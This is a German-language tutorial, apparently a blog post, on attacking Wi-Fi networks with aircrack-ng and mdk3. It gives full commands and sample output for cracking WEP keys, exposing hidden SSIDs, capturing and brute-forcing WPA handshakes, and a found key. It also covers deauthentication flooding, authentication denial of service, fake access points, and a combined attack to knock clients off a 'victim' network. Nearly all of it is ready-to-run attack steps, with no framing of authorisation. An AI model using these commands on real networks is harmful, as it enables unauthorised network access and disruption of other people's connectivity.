no one is safe ...

WLAN hacking - the basics

WEP/WPA Angriffe

WEP (Wired Equivalent Privacy) und WPA (Wi-Fi Protected Access) sind die derzeit am häufigsten anzutreffenden Verschlüsselungssysteme für Wireless Netzwerke. Im Folgenden Artikel wird an einigen Praxisbeispiel kurz dargestellt wie sich diese beiden Systeme angreifen bzw. auf Schwachstellen überprüfen lassen.

WEP-Key mit aircrack ermitteln

Für die folgende Vorgehensweise muss mindestens ein Client mit dem AP verbunden sein! Um ein Netzwerk anzugreifen in dem kein Client vorhanden ist führt die folgende Vorgehensweise nicht zum Erfolg.

#airmon-ng stop ath0
#iwconfig
#airmon-ng start wifi0
#airodump-ng ath0

Nach einer kurzen Wartezeit werden alle erkannten WLANs dargestellt und man kann sich in dieser Übersicht das benötigte Opfer WLAN mit Channel und BSSID heraus suchen. Da airodump ein passiver Sniffer ist kann es teilweise auch etwas länger dauern bis das gesuchte Netzwerk oder der benötigte Client in der Liste auftaucht.

Damit Airodump möglichst nur den benötigten Traffic beachtet starten wir es mit den, im vorigen Schritt, gewonnenen Informationen zu Channel und BSSID neu:

#airodump-ng -c 6 --bssid XX:XX:XX:XX:XX:XX -w output ath0

Nun werden die benötigten Pakete gesammelt und bereits in das output File geschrieben. An der Ausgabe von airodump sieht man auch die an dieses WLAN angebundenen Clients mit deren MAC Adresse. Einen dieser Clients missbrauchen wir im nächsten Schritt in dem wir den bereits gestarteten airodump-ng weiter laufen lassen.

Parameter:

  • -c 6 … Channel 6
  • –bssid … bssid vom ersten airodump
  • -w output … ouput file, wird für die ermittlung des WEP Keys benötigt

#aireplay-ng -1 0 -e SSID -a  XX:XX:XX:XX:XX:XX  -h  YY:YY:YY:YY:YY:YY ath0

Parameter:

  • -1 … fake authentication
  • 0 … timing in seconds (manchmal hilft es das Timing anzupassen, zB auf 30)
  • -a XX:XX:XX:XX:XX:XX … BSSID des Access Points
  • -h YY:YY:YY:YY:YY:YY …. MAC Adresse der WLAN Karte

#aireplay-ng -3 -b XX:XX:XX:XX:XX:XX -h YY:YY:YY:YY:YY:YY ath0

Nun wird nach ARP-Requests gesucht, sobald ein ARP empfangen wurde, wird automatisch der injection Vorgang gestartet.

Falls man Zugriff auf einen Wired Client hat kann mit einem Ping auf eine nicht erreichbare Adresse ein ARP-request provoziert werden.

Parameter:

  • -3 … ARP replay
  • -b … BSSID des APs
  • -h … Source MAC Adr.

Parallel dazu können wir in einer weiteren Shell bereits den Cracking Vorgang starten, ab ca. 30000 Pakete kann dieser Vorgang bereits zum Erfolg führen.

#aircrack-ng -z -b XX:XX:XX:XX:XX:XX output*.cap

Parameter:

  • -z … PTW Attack

You will need approximately 250,000 IVs for 64 bit and 1,500,000 IVs for 128 bit keys. If you are using the PTW attack, then you will need about 20,000 packets for 64-bit and 40,000 to 85,000 packets for 128 bit. These are very approximate and there are many variables as to how many IVs you actually need to crack the WEP key. Source

Je mehr Pakete davor gesammelt wurden desto schneller erhalten wir nun den WEP Key

SSID wird versteckt

Falls die SSID des WLANs nicht bekannt ist, aber ein WLAN Client mit dem Netzwerk verbunden ist, kann sie durch einen Deauth Angriff auf den Client ermittelt werden (daneben airodump mitlaufen lassen):

#airodump-ng ath0
#aireplay-ng -0 1 -a BSSID -c MAC ath0

Parameter:

  • -0 1…. deauthenticate Station
  • -a BSSID … BSSID des Access Points
  • -c MAC … MAC Adr. des verbundenen Clients

Nun taucht die SSID in der Anzeige von airodump auf.


WPA-Key mit aircrack ermitteln



Für Angriffe auf WPA gesicherte Netzwerke wird ein Brute Force Angriff mit Paswortlisten durchgeführt.

Im ersten Schritt wird wie beim bereits dargestellten WEP Hacking mit dem Start des Interfaces im Monitor Mode gestartet.

#airmon-ng stop ath0
#iwconfig
#airmon-ng start wifi0
#airodump-ng ath0

Nach dem Start von airodump werden die erkannten WLANs folgendermaßen dargestellt:

CH  9 ][ Elapsed: 32 s ][ 2008-07-08 14:04
BSSID              PWR  Beacons    #Data, #/s  CH  MB  ENC  CIPHER AUTH ESSID
00:1D:7E:xx:xx:xx   42       77       17    5  11  54  WPA  CCMP   PSK  <length:  6>
...
BSSID              STATION            PWR   Rate  Lost  Packets  Probes
00:1D:7E:xx:xx:xx  00:11:24:yy:yy:yy   55  54- 1    96       15
...

An der Angabe von WPA erkennen wir die Netzwerke die WPA Verschlüsselung einsetzen. Wir suchen uns hier also das Opfer WLAN:

00:1D:7E:xx:xx:xx   42       77       17    5  11  54  WPA  CCMP   PSK  <length:  6>

Um nur das benötigte WLAN zu sehen bzw. nur Pakete die für dieses WLAN bestimmt sind aufzuzeichen starten wir airodump neu. Durch die Angabe des Channels wird Channelhopping unterbunden und es wird durch den Parameter bssid nur der Traffic von diesem Access Point betrachtet. Um die Informationen für die spätere Analyse (Cracking des Passwortes) aufzubewahren wird mit dem parameter write das Output File angegeben.

bt ~ # airodump-ng -c 11 --bssid 00:1D:7E:xx:xx:xx --write output-wpa ath0
CH 11 ][ Elapsed: 8 s ][ 2008-07-08 14:08
BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB  ENC  CIPHER AUTH ESSID
00:1D:7E:xx:xx:xx   45  93       85       20    0  11  54  WPA  CCMP   PSK  <length:  6>
BSSID              STATION            PWR   Rate  Lost  Packets  Probes
00:1D:7E:xx:xx:xx  00:11:24:yy:yy:yy   47  54- 2     0       20

An dieser Ausgabe ist erkennbar dass es eine Station gibt die mit dem AP verbunden ist und dass die SSID des AP nicht gebroadcastet wird.

Im ersten Schritt wird versucht die SSID durch deauthentifizierung des Clientsystems zu ermitteln:

bt ~ # aireplay-ng -0 1 -a 00:1D:7E:xx:xx:xx -c 00:11:24:23:F3:F7 ath0
14:12:50  Waiting for beacon frame (BSSID: 00:1D:7E:xx:xx:xx) on channel 11
14:12:50  Sending 64 directed DeAuth. STMAC: [00:11:24:yy:yy:yy] [11| 6 ACKs]

Der airodump der in einer anderen Konsole weiterläuft zeigt nun die SSID an und zusätzlich haben wir bei dieser Aktion auch noch den WPA Handshake abgegriffen.

CH 11 ][ Elapsed: 5 mins ][ 2008-07-08 14:14 ][ WPA handshake: 00:1D:7E:xx:xx:xx
BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB  ENC  CIPHER AUTH ESSID
00:1D:7E:xx:xx:xx   45 100     3184     1145    3  11  54  WPA  CCMP   PSK  L0nd0n
BSSID              STATION            PWR   Rate  Lost  Packets  Probes
00:1D:7E:xx:xx:xx  00:11:24:yy:yy:yy   50  54- 2     0     1089

Der WPA Handshake war unser eigentliches Ziel und dieser wird für den weiteren Angriff benötigt!

Nun brauchen wir eine möglichst umfangreiche Passwortliste mit der wir den Angriff auf den WPA Handshake durchführen:

bt ~ # aircrack-ng -w /mnt/sda/s3/Words.lst -a 2 -b 00:1D:7E:xx:xx:xx output-wp-01.cap

und los gehts … jetzt ist Zeit sich einen Kaffee zu genehmigen denn das kann unter Umständen sehr lange dauern ;)

                                 Aircrack-ng 1.0 rc1 r1085
                   [01:32:44] 433412 keys tested (77.37 k/s)
                         KEY FOUND! [ administrator ]
      Master Key     : 29 C3 27 61 F7 2C 22 1C 64 D1 E8 30 9E 7D 67 E2
                       62 D2 9C DA 76 CE 74 D8 EB 0F A5 C3 27 39 A2 E3
      Transcient Key : 06 18 EB E7 19 D3 13 51 A4 B3 83 F0 38 10 A6 F8
                       E2 17 CF CD 24 68 37 A3 6C 6D 10 09 AD 96 3A 2E
                       F4 65 A8 D9 A2 AD 5B F9 64 C2 19 D0 48 0B B8 E5
                       C2 E5 91 91 2D DD D6 ED D7 72 E6 BC 7D AE 03 BD
      EAPOL HMAC     : C0 A9 BE 47 4A 96 B4 B9 16 E1 7D 98 83 22 BB 38

Tada der Key ist gefunden ;)

some more attacks

DeAuth-Attack

Am Opfer einfach mal einen Ping mitlaufen lassen, damit erkennt man sehr gut wie erfolgreich der Angriff ist!

aireplay-ng -0 1 -a BSSID -c Client-MAC ath0
14:41:07  Waiting for beacon frame (BSSID: 00:1D:7E:xx:xx:xx) on channel 11
14:41:08  Sending 64 directed DeAuth. STMAC: [00:11:24:yy:yy:yy] [ 8|17 ACKs]

Will man den Client für länger lahmlegen kann man regelmäßig DeAuth Pakete schicken:

aireplay-ng -0 1000 -a BSSID -c Client-MAC ath0

Will man alle Clients lahmlegen kann man regelmäßig DeAuth Pakete mit der Broadcastadresse schicken:

aireplay-ng -0 1000 -a BSSID -c FF:FF:FF:FF:FF:FF ath0

Dieser Angriff ist allerdings nicht immer erfolgreich.


Authentication DOS Attack

mdk3 ath0 a -a BSSID


Faked Access Points erstellen

mdk3 ath0 b

mit weiteren Parametern wie -t lassen sich gefakte Access Points auch mit Verschlüsselung erstellen!

Kombinierter Angriff

In den meisten Fällen reicht ein einzelner Angriff nicht aus um den Client wirklich zu bannen. Also kombinieren wir die Angriffe ;)

In der ersten Shell führen wir den oben beschriebenen DOS Angriff (mdk3 ath0 a -i BSSID) aus und gleichzeitig wird in einer weiteren Shell der Client mit regelmäßigen DeAuth Angriffen vom Access Point getrennt! Zusätzlich lassen sich noch gefakte AP erstellen die die User auch noch weiter verwirren!